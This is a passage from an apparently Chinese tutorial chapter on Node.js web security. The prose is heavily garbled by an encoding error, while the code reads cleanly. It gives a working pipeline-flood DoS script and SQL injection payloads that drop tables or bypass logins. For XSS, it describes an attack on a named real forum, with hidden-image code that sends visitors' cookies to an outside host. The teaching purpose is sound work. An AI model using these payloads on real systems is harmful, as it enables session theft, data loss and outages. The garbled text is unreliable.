ǰÑÔ
±¾Õ½«Ö÷Òª½éÉÜʹÓÃNode.js¿ª·¢webÓ¦ÓÿÉÄÜÃæÁٵݲȫÎÊÌ⣬¶ÁÕßͨ¹ýÔĶÁ±¾Õ¿ÉÒÔÁ˽âweb°²È«µÄ»ù±¾¸ÅÄ²¢ÇÒͨ¹ý¸÷ÖÖ·ÀÓù´ëÊ©µÖÓùһЩ³£¹æµÄ¶ñÒâ¹¥»÷£¬´î½¨Ò»¸ö°²È«µÄwebÕ¾µã¡£
ÔÚѧϰ±¾ÕÂ֮ǰ£¬¶ÁÕßÐèÒª¶ÔHTTPÐÒé¡¢SQLÊý¾Ý¿â¡¢JavascriptÓÐËùÁ˽⡣
ʲôÊÇweb°²È«
ÔÚ»¥ÁªÍøÊ±´ú£¬Êý¾Ý°²È«Óë¸öÈËÒþ˽Êܵ½ÁËǰËùδÓеÄÌôÕ½£¬ÎÒÃÇ×÷ÎªÍøÕ¾¿ª·¢Õߣ¬±ØÐëÈÃÒ»¸öwebÕ¾µãÂú×ã»ù±¾µÄ°²È«ÈýÒªËØ£º
£¨1£©»úÃÜÐÔ£¬ÒªÇó±£»¤Êý¾ÝÄÚÈݲ»ÄÜй¶£¬¼ÓÃÜÊÇʵÏÖ»úÃÜÐԵij£ÓÃÊֶΡ£
£¨2£©ÍêÕûÐÔ£¬ÒªÇóÓû§»ñÈ¡µÄÊý¾ÝÊÇÍêÕû²»±»´Û¸ÄµÄ£¬ÎÒÃÇÖªµÀºÜ¶àOAuthÐÒéÒªÇó½øÐÐsignÇ©Ãû£¬¾ÍÊDZ£Ö¤ÁËË«·½Êý¾ÝµÄÍêÕûÐÔ¡£
£¨3£©¿ÉÓÃÐÔ£¬±£Ö¤ÎÒÃǵÄwebÕ¾µãÊǿɱ»·ÃÎʵģ¬ÍøÕ¾¹¦ÄÜÊÇÕý³£ÔËÓªµÄ£¬³£¼ûDoS£¨Denail of
Service ¾Ü¾ø·þÎñ£©¹¥»÷¾ÍÊÇÆÆ»µÁË¿ÉÓÃÐÔÕâÒ»µã¡£
°²È«µÄ¶¨ÒåºÍÒâʶ
web°²È«µÄ¶¨Òå¸ù¾Ý¹¥»÷ÊÖ¶ÎÀ´·Ö£¬ÎÒÃǰÑËü·ÖΪÈçÏÂÁ½Àࣺ
£¨1£©·þÎñ°²È«£¬È·±£ÍøÂçÉ豸µÄ°²È«ÔËÐУ¬ÌṩÓÐЧµÄÍøÂç·þÎñ¡£
£¨2£©Êý¾Ý°²È«£¬È·±£ÔÚÍøÉÏ´«ÊäÊý¾ÝµÄ±£ÃÜÐÔ¡¢ÍêÕûÐԺͿÉÓÃÐԵȡ£
ÎÒÃÇÖ®ºóÒª½éÉܵÄSQL×¢È룬XSS¹¥»÷µÈ¶¼ÊÇÊôÓÚÊý¾Ý°²È«µÄ·¶³ë£¬DoS£¬Slowlori¹¥»÷µÈ¶¼ÊÇÊôÓÚ·þÎñ°²È«·¶³ë¡£
ÔÚºÚ¿ÍÊÀ½çÖУ¬ÓÃñ×ÓµÄÑÕÉ«±ÈÓ÷ºÚ¿ÍµÄ¡°Éƶñ¡±£¬¾«Í¨°²È«¼¼Êõ£¬¹¤×÷ÔÚ·´ºÚ¿ÍÁìÓòµÄ°²È«×¨¼ÒÎÒÃdzÆÖ®Îª°×ñ×Ó£¬¶øºÚñ×ÓÔòÊÇÀûÓúڿͼ¼Êõıȡ˽ÀûµÄ·¸×ïȺÌ塣ͬÑù¶¼ÊǸãÍøÂ簲ȫÑо¿£¬ºÚ¡¢°×ñ×ÓµÄÖ°ÔðÍêÈ«²»Í¬£¬ÉõÖÁ¿ÉÒÔ˵ÊǶÔÁ¢µÄ¡£¶ÔÓÚºÚñ×Ó¶øÑÔ£¬ËûÃÇÖ»ÒªÕÒµ½ÏµÍ³µÄÒ»¸öÇÐÈëµã¾Í¿ÉÒÔ´ïµ½ÈëÇÖÆÆ»µµÄÄ¿µÄ£¬¶ø°×ñ×Ó±ØÐ뽫×Ô¼ºÏµÍ³ËùÓпÉÄܱ»Í»ÆÆµÄµØ·½¶¼Éè·À£¬±£Ö¤ÏµÍ³µÄ°²È«ÔËÐС£ËùÒÔÎÒÃÇÔÚÉè¼Æ¼Ü¹¹µÄʱºò¾ÍÓ¦¸ÃÓа²È«Òâʶ£¬Ê±¿Ì±£³ÖÇåÐѵÄÍ·ÄÔ£¬¿ÉÄÜÎÒÃǵÄwebÕ¾µã100´¦¶¼²¼·ÀºÜºÃ£¬Ö»ÓÐÒ»¸öµãÊèºöÁË£¬¹¥»÷Õ߾ͻáÀûÓÃÕâ¸öµã½øÐÐÍ»ÆÆ£¬ÈÃÎÒÃÇÁíÍâ100´¦µÄŬÁ¦Ò²°×·Ñ¡£
ͬÑù°²È«µÄÔËÓªÒ²ÊǷdz£ÖØÒªµÄ£¬ÎÒÃÇΪwebÕ¾µã½¨Á¢Æð¼á¹ÌµÄ±ÚÀÝ£¬¶øÔËÓªÈËÔ±ËæÒâʹÓÃrootÕʺţ¬¸øºËÐÄ·þÎñÆ÷¿ªÍ¨ÍâÍø·ÃÎÊIPµÈµÈһϵÁÐÎ¥¹æ²Ù×÷£¬»áÈÃÎÒÃǵıÚÀÝ˲¼ä±ÀËú¡£
Node.jsÖеÄweb°²È«
Node.js×÷ΪһÃÅÐÂÐ͵Ŀª·¢ÓïÑÔ£¬ºÜ¶à¿ª·¢Õß¶¼»áÓÃËüÀ´¿ìËٴwebÕ¾µã£¬ÆÚ¼äËæ×Ű汾ºÅµÄ¸üÌæÒ²ÐÞ¸´Á˲»ÉÙ©¶´¡£ÒòΪNode.jsÌṩµÄÍøÂç½Ó¿Ú½ÏPHP¸üΪµ×²ã£¬Í¬Ê±Ã»ÓÐÈçapache¡¢nginxµÈweb·þÎñÆ÷µÄǰ¶Ë±£»¤£¬Node.jsÓ¦¸Ã¸ü¼Ó¹Ø×¢°²È«·½ÃæµÄÎÊÌâ¡£
Http¹ÜµÀºéˮ©¶´
ÔÚNode.js°æ±¾0.8.26ºÍ0.10.21֮ǰ£¬¶¼´æÔÚÒ»¸ö¹ÜµÀºéË®µÄ¾Ü¾ø·þÎñ©¶´£¨pipeline
flood DoS£©¡£¹ÙÍøÔÚ·¢²¼Õâ¸ö©¶´ÐÞ¸´´úÂëÖ®ºó£¬Ç¿ÁÒ½¨ÒéÔÚÉú²ú»·¾³Ê¹ÓÃNode.jsµÄ°æ±¾Éý¼¶µ½0.8.26ºÍ0.10.21£¬ÒòΪÕâ¸ö©¶´ÍþÁ¦¾Þ´ó£¬¹¥»÷Õß¿ÉÒÔÓúÜÁ®¼ÛµÄÆÕͨPCÇáÒ׵Ļ÷À£Ò»¸öÕý³£ÔËÐеÄNode.jsµÄHTTP·þÎñÆ÷¡£
Õâ¸ö©¶´²úÉúµÄÔÒòºÜ¼òµ¥£¬Ö÷ÒªÊÇÒòΪ¿Í»§¶Ë²»½ÓÊÕ·þÎñ¶ËµÄÏìÓ¦£¬µ«¿Í»§¶ËÓÖÆ´Ãü·¢ËÍÇëÇó£¬Ôì³ÉNode.jsµÄStreamÁ÷ÎÞ·¨Ð¹ºé£¬Ö÷»úÄÚ´æºÄ¾¡¶ø±ÀÀ££¬¹ÙÍø¸ø³öµÄ½âÊÍÈçÏ£º
µ±ÔÚÒ»¸öÁ¬½ÓÉϵĿͻ§¶ËÓкܶàHTTPÇëÇó¹ÜµÀ£¬²¢ÇÒ¿Í»§¶ËûÓжÁÈ¡Node.js·þÎñÆ÷ÏìÓ¦µÄÊý¾Ý£¬Node.jsµÄ·þÎñ½«¿ÉÄܱ»»÷À£¡£Ç¿ÁÒ½¨ÒéÈκÎÔÚÉú²ú»·¾³Ïµİ汾ÊÇ0.8»ò0.10µÄHTTP·þÎñÆ÷¶¼¾¡¿ìÉý¼¶¡£Ð°汾Node.jsÐÞ¸´ÁËÎÊÌ⣬µ±·þÎñ¶ËÔڵȴýstreamÁ÷µÄdrainʼþʱ£¬socketºÍHTTP½âÎö½«»áÍ£Ö¹¡£ÔÚ¹¥»÷½Å±¾ÖУ¬socket×îÖջᳬʱ£¬²¢±»·þÎñ¶Ë¹Ø±ÕÁ¬½Ó¡£Èç¹û¿Í»§¶Ë²¢²»ÊǶñÒâ¹¥»÷£¬Ö»ÊÇ·¢ËÍ´óÁ¿µÄÇëÇ󣬵«ÊÇÏìÓ¦·Ç³£»ºÂý£¬ÄÇô·þÎñ¶ËÏìÓ¦µÄËÙ¶ÈÒ²»áÏàÓ¦½µµÍ¡£
ÏÖÔÚÈÃÎÒÃÇ¿´Ò»ÏÂÕâ¸ö©¶´Ôì³ÉµÄɱÉËÁ¦°É£¬ÎÒÃÇÔÚһ̨4cpu£¬4GÄÚ´æµÄ·þÎñÆ÷ÉÏÆô¶¯Ò»¸öNode.jsµÄHTTP·þÎñ£¬Node.js°æ±¾Îª0.10.7¡£·þÎñÆ÷½Å±¾ÈçÏ£º
var http = require('http'); var buf = new Buffer(1024*1024);//1mb buffer buf.fill('h'); http.createServer(function (request, response) { response.writeHead(200, {'Content-Type': 'text/plain'}); response.end(buf); }).listen(8124); console.log(process.memoryUsage()); setInterval(function(){//per minute memory usage console.log(process.memoryUsage()); },1000*60) |
ÉÏÊö´úÂëÎÒÃÇÆô¶¯ÁËÒ»¸öNode.js·þÎñÆ÷£¬¼àÌý8124¶Ë¿Ú£¬ÏìÓ¦1mbµÄ×Ö·ûh£¬Í¬Ê±Ã¿·ÖÖÓ´òÓ¡Node.jsÄÚ´æÊ¹ÓÃÇé¿ö£¬·½±ãÎÒÃÇÔÚÖ´Ðй¥»÷½Å±¾Ö®ºó²é¿´·þÎñÆ÷µÄÄÚ´æÊ¹ÓÃÇé¿ö¡£
ÔÚÁíÍâһ̨ͬÑùÅäÖõķþÎñÆ÷ÉÏÆô¶¯ÈçϹ¥»÷½Å±¾£º
var net = require('net'); var attack_str = 'GET / HTTP/1.1\r\nHost: 192.168.28.4\r\n\r\n' var i = 1000000;//10W´ÎµÄ·¢ËÍ var client = net.connect({port: 8124, host:'192.168.28.4'}, function() { //'connect' listener while(i--){ client.write(attack_str); } }); client.on('error', function(e) { console.log('attack success'); }); |
ÎÒÃǵĹ¥»÷½Å±¾¼ÓÔØÁËnetÄ£¿é£¬È»ºó¶¨ÒåÁËÒ»¸ö»ùÓÚHTTPÐÒéµÄGET·½·¨µÄÇëÇóÍ·£¬È»ºóÎÒÃÇʹÓÃtcpÁ¬½Óµ½Node.js·þÎñÆ÷£¬Ñ»··¢ËÍ10W´ÎGETÇëÇ󣬵«ÊDz»¼àÌý·þÎñ¶ËÏìӦʼþ£¬Ò²¾ÍÎÞ·¨¶Ô·þÎñ¶ËÏìÓ¦µÄstreamÁ÷½øÐÐÏû·Ñ¡£ÏÂÃæÊÇÔÚ¹¥»÷½Å±¾Æô¶¯10·ÖÖÓºó£¬web·þÎñÆ÷´òÓ¡µÄÄÚ´æÊ¹ÓÃÇé¿ö£º
{ rss: 10190848, heapTotal: 6147328, heapUsed: 2632432 } { rss: 921882624, heapTotal: 888726688, heapUsed: 860301136 } { rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189239056 } { rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189251728 } { rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189263768 } { rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189270888 } { rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189278008 } { rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189285096 } { rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189292216 } { rss: 1250893824, heapTotal: 1211065584, heapUsed: 1189301864 } |
ÎÒÃÇÔÚ·þÎñÆ÷Ö´ÐÐtopÃüÁ²é¿´µÄϵͳÄÚ´æÊ¹ÓÃÇé¿öÈçÏ£º
Mem: 3925040k total, 3290428k used, 634612k free, 170324k buffers |
¿ÉÒÔ¿´µ½£¬ÎÒÃǵĹ¥»÷½Å±¾Ö»ÓÃÁËÒ»¸ösocketÁ¬½Ó¾ÍÏûºÄµô´óÁ¿·þÎñÆ÷µÄÄڴ棬¸ü¿ÉŵÄÊÇÕⲿ·ÖÄÚ´æ²»»á×Ô¶¯ÊÍ·Å£¬ÐèÒªÊÖ¶¯ÖØÆô½ø³Ì²ÅÄÜ»ØÊÕ¡£¹¥»÷½Å±¾Ö´ÐÐÖ®ºóNode.js½ø³ÌÕ¼ÓÃÄÚ´æ±È֮ǰÌá¸ß½ü200±¶£¬Èç¹ûÓÐ2-3¸ö¶ñÒâ¹¥»÷socketÁ¬½Ó£¬·þÎñÆ÷ÎïÀíÄÚ´æ±ØÈ»ÓÃÍ꣬Ȼºó¿ªÊ¼Æµ·±µÄ½»»»£¬´Ó¶øÊ§È¥ÏìÓ¦»òÕß½ø³Ì±ÀÀ£¡£
SQL×¢Èë
´Ó1998Äê12ÔÂSQL×¢ÈëÊ״νøÈëÈËÃǵÄÊÓÏߣ¬ÖÁ½ñÒѾÓÐÊ®¼¸ÄêÁË£¬ËäÈ»ÎÒÃÇÒѾÓÐÁ˺ÜÈ«ÃæµÄ·À·¶SQL×¢ÈëµÄ¶Ô²ß£¬µ«ÊÇËüµÄÍþÁ¦ÈÔÈ»²»ÈÝСêï¡£
×¢Èë¼¼ÇÉ
SQL×¢Èë´ó¼Ò¿Ï¶¨²»»áİÉú£¬ÏÂÃæ¾ÍÊÇÒ»¸öµäÐ͵ÄSQL×¢ÈëʾÀý£º
var userid = req.query["userid"]; var sqlStr = 'select * from user where id="'+ userid +'"'; connection.query(sqlStr, function(err, userObj) { // ... }); |
Õý³£Çé¿öÏ£¬ÎÒÃǶ¼¿ÉÒԵõ½ÕýÈ·µÄÓû§ÐÅÏ¢£¬±ÈÈçÓû§Í¨¹ýä¯ÀÀÆ÷·ÃÎÊ/user/info?id=11½øÈë¸öÈËÖÐÐÄ£¬¶øÎÒÃǸù¾ÝÓû§´«µÝµÄid²ÎÊýÕ¹ÏÖ´ËÓû§µÄÏêϸÐÅÏ¢¡£µ«ÊÇÈç¹ûÓжñÒâÓû§µÄÇëÇóµØÖ·Îª/user/info?id=11";drop
table user--£¬ÄÇô×îºóÆ´½Ó¶ø³ÉµÄSQL²éѯÓï¾ä¾ÍÊÇ£º
select * from user where id = "11";drop table user-- |
×¢Òâ×îºóÁ¬ÐøµÄÁ½¸ö¼õºÅ±íʾºöÂÔ´ËSQLÓï¾äºóÃæµÄÓï¾ä¡£Ô±¾Ö´ÐеIJéѯÓû§ÐÅÏ¢µÄSQLÓï¾ä£¬ÔÚÖ´ÐÐÍê±ÏÖ®ºó»á°ÑÕû¸öuser±í¶ªÆúµô¡£
ÕâÊÇÁíÍâÒ»¸ö¼òµ¥µÄ×¢ÈëʾÀý£¬±ÈÈçÓû§µÄµÇ¼½Ó¿Ú²éѯ£¬ÎÒÃÇ»á¸ù¾ÝÓû§µÄµÇ¼ÃûºÍÃÜÂëÈ¥Êý¾Ý¿â²éÕÒÆ¥Å䣬Èç¹ûÕÒµ½ÏàÓ¦µÄ¼Ç¼£¬Ôò±íʾÓû§ÃûºÍÃÜÂëÆ¥Å䣬ÌáʾÓû§µÇ¼³É¹¦£»Èç¹ûûÓÐÕÒµ½¼Ç¼£¬ÔòÈÏΪÓû§Ãû»òÃÜÂë´íÎ󣬱íʾµÇ¼ʧ°Ü£¬´úÂëÈçÏ£º
var username = req.body["username"]; var password = md5(req.body["password"]+salt);//¶ÔÃÜÂë¼ÓÃÜ var sqlStr = 'select * from user where username="'+ username +'" and password="'+ password +'"; |
Èç¹ûÎÒÃÇÌá½»ÉÏÀ´µÄÓû§Ãû²ÎÊýÊÇÕâÑùµÄ¸ñʽ£ºsnoopy" and 1=1--£¬ÄÇôƴ½ÓÖ®ºóµÄSQL²éѯÓï¾ä¾ÍÊÇÈçÏÂÄÚÈÝ£º
select * from user where username = "snoopy" and 1=1-- " and password="698d51a19d8a121ce581499d7b701668"; |
Ö´ÐÐÕâÑùµÄSQLÓï¾äÓÀÔ¶»áÆ¥Åäµ½Óû§Êý¾Ý£¬¾ÍËãÎÒÃDz»ÖªµÀÃÜÂëÒ²ÄÜ˳ÀûµÇ¼µ½ÏµÍ³¡£Èç¹ûÔÚÎÒÃdz¢ÊÔ×¢ÈëSQLµÄÍøÕ¾¿ªÆôÁË´íÎóÌáʾÏÔʾ£¬»áΪ¹¥»÷ÕßÌṩ±ãÀû£¬±ÈÈç¹¥»÷Õßͨ¹ý·´¸´µ÷Õû·¢Ë͵IJÎÊý¡¢²é¿´´íÎóÐÅÏ¢£¬¾Í¿ÉÒԲ²â³öÍøÕ¾Ê¹ÓõÄÊý¾Ý¿âºÍ¿ª·¢ÓïÑÔµÈÐÅÏ¢¡£
±ÈÈçÓÐÒ»¸öÐÅÏ¢·¢²¼ÍøÕ¾£¬ËüµÄÐÂÎÅÏêÏ¸Ò³ÃæurlµØÖ·Îª/news/info?id=11£¬ÎÒÃÇͨ¹ý·Ö±ð·ÃÎÊ/news/info?id=11
and 1=1ºÍ/news/info?id=11 and 1=2£¬¾Í¿ÉÒÔ»ù±¾ÅжϴËÍøÕ¾ÊÇ·ñ´æÔÚSQL×¢Èë©¶´£¬Èç¹ûǰÕß¿ÉÒÔ·ÃÎʶøºóÕßÒ³ÃæÎÞ·¨Õý³£ÏÔʾµÄ»°£¬ÄǾͿÉÒԶ϶¨´ËÍøÕ¾ÊÇͨ¹ýÈçϵÄSQLÀ´²éѯijƪÐÂÎÅÄÚÈݵģº
var sqlStr = 'select * from news where id="'+id+'"'; |
ÒòΪ1=2Õâ¸ö±í´ïʽÓÀÔ¶²»³ÉÁ¢£¬ËùÒÔ¾ÍËãid²ÎÊýÕýÈ·Ò²ÎÞ·¨Í¨¹ý´ËSQLÓï¾ä·µ»ØÕæÕýµÄÊý¾Ý£¬µ±È»¾Í»á³öÏÖÎÞ·¨Õý³£ÏÔÊ¾Ò³ÃæµÄÇé¿ö¡£ÎÒÃÇ¿ÉÒÔʹÓÃһЩ¼ì²âSQL×¢ÈëµãµÄ¹¤¾ßÀ´É¨ÃèÒ»¸öÍøÕ¾ÄÄЩµØ·½¾ßÓÐSQL×¢ÈëµÄ¿ÉÄÜ¡£
ͨ¹ýurl²ÎÊýºÍform±íµ¥Ìá½»µÄÊý¾ÝÄÚÈÝ£¬¿ª·¢Õßͨ³£¶¼»áΪ֮×öÑÏÃÜ·À·¶£¬¿ª·¢ÈËÔ±±Ø¶¨»á¶ÔÓû§Ìá½»ÉÏÀ´µÄ²ÎÊý×öһЩÕýÔòÅжϺ͹ýÂË£¬ÔÙ¶ªµ½SQLÓï¾äÖÐÈ¥Ö´ÐС£µ«ÊÇ¿ª·¢ÈËÔ±¿ÉÄܲ»Ì«»áÈ¥¹Ø×¢Óû§HTTPµÄÇëÇóÍ·£¬±ÈÈçcookieÖд洢µÄÓû§Ãû»òÕßÓû§id£¬referer×Ö¶ÎÒÔ¼°User-Agent×ֶΡ£
±ÈÈ磬ÓеÄÍøÕ¾¿ÉÄÜ»áÈ¥¼Ç¼ע²áÓû§µÄÉ豸ÐÅÏ¢£¬Í¨³£¼Ç¼Óû§É豸ÐÅÏ¢ÊǸù¾ÝÇëÇóÍ·ÖеÄUser-Agent×Ö¶ÎÀ´Åжϵ쬯´½ÓÈçϲéѯ×Ö·û´®¾ÍÓдæÔÚSQL×¢ÈëµÄ¿ÉÄÜ¡£
var username = escape(req.body["username"]);//ʹÓÃescapeº¯Êý£¬¹ýÂËSQL×¢Èë var password = md5(req.body["password"]+salt);//¶ÔÃÜÂë¼ÓÃÜ var agent = req.header["user-agent"];//×¢ÒâNode.jsµÄÇëÇóÍ·×ֶζ¼ÊÇСдµÄ var sqlStr = 'insert into user username,password,agent values "'+username+'", "'+password+'", "'+agent+'"'; |
ÕâʱºòÎÒÃÇͨ¹ý·¢°ü¹¤¾ß£¬Î±ÔìHTTPÇëÇóÍ·£¬Èç¹û½«ÇëÇóÍ·ÖеÄUser-AgentÐÞ¸ÄΪ£º';drop
talbe user--£¬ÎÒÃǾͳɹ¦×¢ÈëÁËÍøÕ¾¡£
·À·¶´ëÊ©
·À·¶SQL×¢ÈëµÄ·½·¨ºÜ¼òµ¥£¬Ö»Òª±£Ö¤ÎÒÃÇÆ´½Óµ½SQL²éѯÓï¾äÖеıäÁ¿¶¼¾¹ýescape¹ýÂ˺¯Êý£¬¾Í»ù±¾¿ÉÒԶžø×¢ÈëÁË£¬ËùÒÔÎÒÃÇÒ»¶¨ÒªÑø³ÉÁ¼ºÃµÄ±àÂëϰ¹ß£¬¶Ô¿Í»§¶ËÇëÇó¹ýÀ´µÄÈκÎÊý¾Ý¶¼Òª³Ö»³ÒÉ̬¶È£¬½«ËüÃǹýÂËÖ®ºóÔÙ¶ªµ½SQLÓï¾äÖÐÈ¥Ö´ÐС£ÎÒÃÇÒ²¿ÉÒÔʹÓÃһЩ±È½Ï³ÉÊìµÄORM¿ò¼Ü£¬ËüÃÇ»á°ïÎÒÃÇ×èµ²µôSQL×¢Èë¹¥»÷¡£
XSS½Å±¾¹¥»÷
XSSÊÇʲô£¿ËüµÄÈ«ÃûÊÇ£ºCross-site scripting£¬ÎªÁ˺ÍCSS²ãµþÑùʽ±íÇø·Ö£¬ËùÒÔÈ¡ÃûXSS¡£ËüÊÇÒ»ÖÖÍøÕ¾Ó¦ÓóÌÐòµÄ°²È«Â©¶´¹¥»÷£¬ÊÇ´úÂë×¢ÈëµÄÒ»ÖÖ¡£ËüÔÊÐí¶ñÒâÓû§½«´úÂë×¢Èëµ½ÍøÒ³ÉÏ£¬ÆäËûÓû§ÔÚ¹Û¿´ÍøÒ³Ê±¾Í»áÊܵ½Ó°Ïì¡£ÕâÀ๥»÷ͨ³£°üº¬ÁËHTML±êÇ©ÒÔ¼°Óû§¶Ë½Å±¾ÓïÑÔ¡£
Ãû³ÇËÕÖÝÍøÕ¾×¢Èë
XSS×¢Èë³£¼ûµÄÖØÔÖÇøÊÇÉç½»ÍøÕ¾ºÍÂÛ̳£¬Ô½ÊÇÈÃÓû§×ÔÓÉÊäÈëÄÚÈݵĵط½£¬ÎÒÃǾÍÔ½Òª¹Ø×¢ÆäÄÜ·ñµÖÓùXSS¹¥»÷¡£XSS×¢ÈëµÄ¹¥»÷ÔÀíºÜ¼òµ¥£¬¹¹ÔìһЩ·Ç·¨µÄurlµØÖ·»òjs½Å±¾ÈÃHTML±êÇ©Òç³ö£¬´Ó¶øÔì³É×¢Èë¡£Ò»°ãÒýÓÕÓû§µã»÷²Å´¥·¢µÄ©¶´ÎÒÃdzÆÎª·´ÉäÐÔ©¶´£¬Óû§´ò¿ªÒ³Ãæ¾Í´¥·¢µÄ³ÆÎª×¢ÈëÐÍ©¶´£¬µ±È»×¢ÈëÐÍ©¶´µÄΣº¦¸ü´óһЩ¡£ÏÂÃæÏÈÓÃÒ»¸ö¼òµ¥µÄʵÀýÀ´ËµÃ÷XSS×¢ÈëÎÞ´¦²»ÔÚ¡£
Ãû³ÇËÕÖÝ£¨www.2500sz.com)£¬ÊÇËÕÖݱ¾µØÃÅ»§ÍøÕ¾£¬ÈÕ¾ùµÄpvÊýÒ²´ïµ½ÁË150Íò£¬ËüµÄÂÛ̳Óû§ÊýºÜ¶à£¬ÊDZ¾µØ»¯ÐÂÎÅ¡¢ÉçÇøÂÛ̳×öµÄ±È½Ï³É¹¦µÄÒ»¸öÍøÕ¾¡£
½ÓÏÂÀ´ÎÒÃǽ«ÑÝʾһ¸ö×¢Èëµ½2500sz.comµÄ°¸Àý£¬ÎÒÃÇÏÈ×¢²á³ÉÒ»¸ö2500sz.comÕ¾µã»áÔ±£¬½øÈëÂÛ̳°å¿é£¬¿ªÊ¼·¢²¼ÐÂÌû¡£´ò¿ª·¢ÌûÒ³Ãæ£¬ÔÚweb±à¼Æ÷ÖÐÊäÈëÈçÏÂÄÚÈÝ£º

ÉÏÃæµÄ´úÂ뼴Ϊ·ÖÏíÒ»¸öÍøÂçͼƬ£¬ÎÒÃÇÔÚͼƬµÄsrcÊôÐÔÖÐÖ±½ÓдÈëÁËjavascript:alert('xss');£¬²Ù×÷³É¹¦ºóÉú³ÉÌû×Ó£¬ÓÃIE6¡¢7µÄÓû§´ò¿ª´ËÌû×Ӿͻá³öÏÖÏÂͼµÄalert('xss')µ¯´°¡£

µ±È»ÎÒÃÇÒª½«±êÌâÉè¼ÆµÄ·Ç³£¶áÈËÑÛÇò£¬±ÈÈç¡°Pm2.5Îíö²ÕæÏàÅû¶¡± £¬È»ºó½«ÀïÃæµÄalert»»³ÉÈç϶ñÒâ´úÂ룺
location.href='http://www.xss.com?cookie='+document.cookie£» |
ÕâÑùÎÒÃǾͻñÈ¡µ½ÁËÓû§cookieµÄÖµ£¬Èç¹û·þÎñ¶ËsessionÉèÖùýÆÚºÜ³¤µÄ»°£¬ÒÔºó¾Í¿ÉÒÔαÔìÕâ¸öÓû§µÄÉí·Ý³É¹¦µÇ¼¶ø²»ÔÙÐèÒªÓû§ÃûÃÜÂ룬¹ØÓÚsessionºÍcookieµÄ¹ØÏµÎÒÃÇÔÚÏÂÒ»½ÚÖн«»áÏêϸ½²µ½¡£ÕâÀïµÄlocation.hrefÖ»ÊdzöÓÚ¼òµ¥£¬Èç¹û×öÁËÌø×ªÕâ¸öÌû×Ӻܿì»á±»¹ÜÀíԱɾ³ý£¬µ«ÎÒÃÇдÈçÏ´úÂ룬²¢ÇÒÌû×ÓµÄÄÚÈÝÒ²ÊÇÕæÊµµÄ£¬ÄÇô¾Í»á»öº¦ºÜ¶àÈË£º
var img = document.createElement('img'); img.src='http://www.xss.com?cookie='+document.cookie; img.style.display='none'; document.getElementsByTagName('body')[0].appendChild(img); |
ÕâÑù¾ÍÉñ²»Öª¹í²»¾õµÄ°Ñµ±Ç°Óû§cookieµÄÖµ·¢Ë͵½¶ñÒâÕ¾µã£¬¶ñÒâÕ¾µãͨ¹ýGET²ÎÊý£¬¾ÍÄÜ»ñÈ¡Óû§cookieµÄÖµ¡£Í¨¹ýÕâ¸ö·½·¨¿ÉÒÔÄõ½Óû§¸÷ÖÖ¸÷ÑùµÄ˽ÃÜÊý¾Ý¡£
AjaxµÄXSS×¢Èë
ÁíÒ»´¦ÈÝÒ×Ôì³ÉXSS×¢ÈëµÄµØ·½ÊÇAjaxµÄ²»ÕýȷʹÓá£
±ÈÈçÓÐÕâÑùµÄÒ»¸ö³¡¾°£¬ÔÚһƪ²©ÎĵÄÏêϸҳ£¬ºÜ¶àÓû§¸øÕâÆª²©ÎÄÁôÑÔ£¬ÎªÁ˼ӿìÒ³Ãæ¼ÓÔØËÙ¶È£¬ÏîÄ¿¾ÀíÒªÇóÏÈÏÔʾ²©ÎĵÄÄÚÈÝ£¬È»ºóͨ¹ýAjaxÈ¥»ñÈ¡ÁôÑԵĵÚÒ»Ò³ÐÅÏ¢£¬ÁôÑÔ¹¦ÄÜͨ¹ýAjax·ÖÒ³±£Ö¤ÁËÒ³ÃæµÄÎÞˢкͿìËÙ¼ÓÔØ£¬´Ë×ö·¨µÄºÃ´¦ÓУº
£¨1£©¼Ó¿ìÁ˲©ÎÄÏêϸҳµÄ¼ÓÔØ£¬ÌáÉýÁËÓû§ÌåÑ飬ÒòΪÁôÑÔÐÅÏ¢ÍùÍùÓÐÓû§Í·Ïñ¡¢êdzơ¢idµÈµÈ£¬ÐèÒª¶à±í²éѯ£¬ÇÒÒ»°ãÓû§»áÏÈ¿´²©ÎÄ£¬ÔÙÀÏÂÈ¥¿´ÁôÑÔ£¬ÕâʱÁôÑÔÒѼÓÔØÍê±Ï¡£
£¨2£©AjaxµÄÁôÑÔ·ÖÒ³Äܸü¿ìËÙÏìÓ¦£¬Óû§²»±ØÃ¿´Î·ÖÒ³¶¼Èò©ÎÄÖØÐÂˢС£
ÓÚÊÇǰ¶Ë¹¤³Ìʦ´ÓPHPÄÇ»ñÈ¡ÁËjsonÊý¾ÝÖ®ºó£¬½«Êý¾Ý·ÅÈëDOMÎĵµÖУ¬´ó¼ÒÄÜ¿´³öÏÂÃæ´úÂëµÄÎÊÌâÂð£¿
var commentObj = $('#comment'); $.get('/getcomment', {r:Math.random(),page:1,article_id:1234},function(data){ //ͨ¹ýAjax»ñÈ¡ÆÀÂÛÄÚÈÝ£¬È»ºó½«Æ·ÂÛµÄÄÚÈÝÒ»Æð¼ÓÔØµ½Ò³ÃæÖÐ if(data.state !== 200) return commentObj.html('ÁôÑÔ¼ÓÔØÊ§°Ü¡£') commentObj.html(data.content); },'json'); |
ÎÒÃÇÉè¼ÆµÄ³õÖÔÊÇ£¬PHP³ÌÐòÔ±½«ÁôÑÔÄÚÈÝÌ×ÈëÄ£°å£¬·µ»Øjson¸ñʽÊý¾Ý£¬Ê¾ÀýÈçÏ£º
{"state":200, "content":"Ä£°åµÄ×Ö·û´®Æ¬¶Î"} |
Èç¹ûûÓп´³öÎÊÌ⣬´ó¼Ò¿ÉÒÔ´ò¿ªfirebug»òÕßchromeµÄ¿ª·¢ÈËÔ±¹¤¾ß£¬Ö±½Ó°ÑÏÂÃæ´úÂëÕ³Ìùµ½ÓÐJQuery²å¼þµÄÍøÕ¾ÖÐÔËÐУº
$('div:first').html('<div><script>alert("xss")</script><div>'); |
Õý³£µ¯³öÁËalert¿ò£¬Äã¿ÉÄܾõµÃÕâ±È½ÏС¶ù¿Æ¡£
Èç¹ûPHP³ÌÐòÔ±ÒѾתÒåÁ˼âÀ¨ºÅ<>»¹Óе¥Ë«ÒýºÅ"'£¬ÄÇôÉÏÃæµÄ¶ñÒâ´úÂë»á±»Æ¯ÁÁµÄ±ä³ÉÈçÏÂ×Ö·ûÊä³öµ½ÁôÑÔÄÚÈÝÖÐ:
